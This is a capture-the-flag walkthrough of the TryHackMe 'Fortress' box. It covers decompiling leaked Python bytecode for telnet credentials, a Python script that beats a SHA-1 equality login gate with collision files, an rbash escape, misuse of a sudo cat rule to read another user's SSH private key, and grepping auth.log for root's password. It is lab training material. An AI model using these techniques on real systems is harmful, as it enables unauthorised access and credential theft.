0xmrerror@terminal:~/writeups

Fortress — SHA-1 Collision to Root

Story-driven decompilation: Python bytecode leaks credentials, a telnet service hands over a client binary, a hash chain ends at root.

MediumTryHackMeWeb · 30 min readpython-bytecodedecompilationtelnetboot2roottryhackme

A story-driven box: decompile Python bytecode for credentials, talk to a telnet service, beat a SHA-1 collision login gate to win an SSH key, break out of a restricted shell, and read logs for root. Goal: user.txt + root.txt.

1 · Setup + Enumeration

# Map the two virtual hosts
echo "10.10.x.x fortress temple.fortress" >> /etc/hosts

nmap -sC -sV -p- fortress
PORT    STATE SERVICE
22/tcp  open  ssh
5581/tcp open  ftp    (anonymous)
5752/tcp open  telnet
7331/tcp open  http   Apache

2 · FTP → Python Bytecode

Anonymous FTP hides .file — Python 2.7 compiled bytecode. Decompile it to see the telnet service's hardcoded username/password, stored as big integers via bytes_to_long.

ftp fortress
> ls -la          # find .file
> get .file

uncompyle6 .file
# > usern = bytes_to_long(b"...")  passw = bytes_to_long(b"...")

# Decode the longs back to strings
from Crypto.Util.number import long_to_bytes
print(long_to_bytes(usern).decode(), long_to_bytes(passw).decode())

3 · Telnet → Secret Page

telnet fortress 5752
# > t3mple_0f_y0ur_51n5

4 · SHA-1 Collision Gate

The .html version of that page shows its PHP source: it compares user and pass by SHA-1 (which must be identical) and also requires lengths > 600 and > 500 bytes. That's a SHA-1 collision — only a few known pairs exist.

import requests
c1 = requests.get("http://localhost/shattered-1.dat").content
c2 = requests.get("http://localhost/shattered-2.dat").content
r = requests.get(
    "http://temple.fortress:7331/t3mple_0f_y0ur_51n5.php",
    params={'user': c1, 'pass': c2})
print(r.text)
# > m0td_f0r_j4x0n.txt — an SSH private key left by h4rdy

The shattered.io PDFs are ~825KB — way over GET limits. Use pre-built collision files of ~640 bytes each (e.g. from the 2017 Boston Key Party Prudentialv2 writeup); they pass both length checks.

5 · SSH h4rdy — Restricted Shell Escape

h4rdy's shell is rbash: no cd, export or sudo. Force a real shell over SSH, fix PATH, then abuse the sudo rule.

chmod 600 id_rsa
ssh -t -i id_rsa h4rdy@fortress bash
export PATH=$PATH:/bin:/usr/bin

# h4rdy may run /bin/cat as j4x0n — steal the SSH key
sudo -u j4x0n /bin/cat /home/j4x0n/user.txt
sudo -u j4x0n /bin/cat /home/j4x0n/.ssh/id_rsa

6 · j4x0n → root (adm group)

ssh -i j4x0n_rsa j4x0n@fortress

# j4x0n is in the adm group → system logs are readable
id
groups=1001(j4x0n),4(adm)

grep -iE "password|passwd" /var/log/auth.log
# > leaks root's credentials → su / ssh root
su root
cat /root/root.txt

Shortcut: /data/setup.sh — the box's own bootstrap script — writes the root flag as the root password, leaking it directly.

7 · What Made It Work

Step 4 is the one worth remembering. SHA-1 collisions are a real attack against exactly one thing, which is code that compares two hashes for equality, and that is what the login gate does. The two files also have to clear 600 and 500 bytes, which is why the published PDFs don't fit and you need the pre-built pairs instead.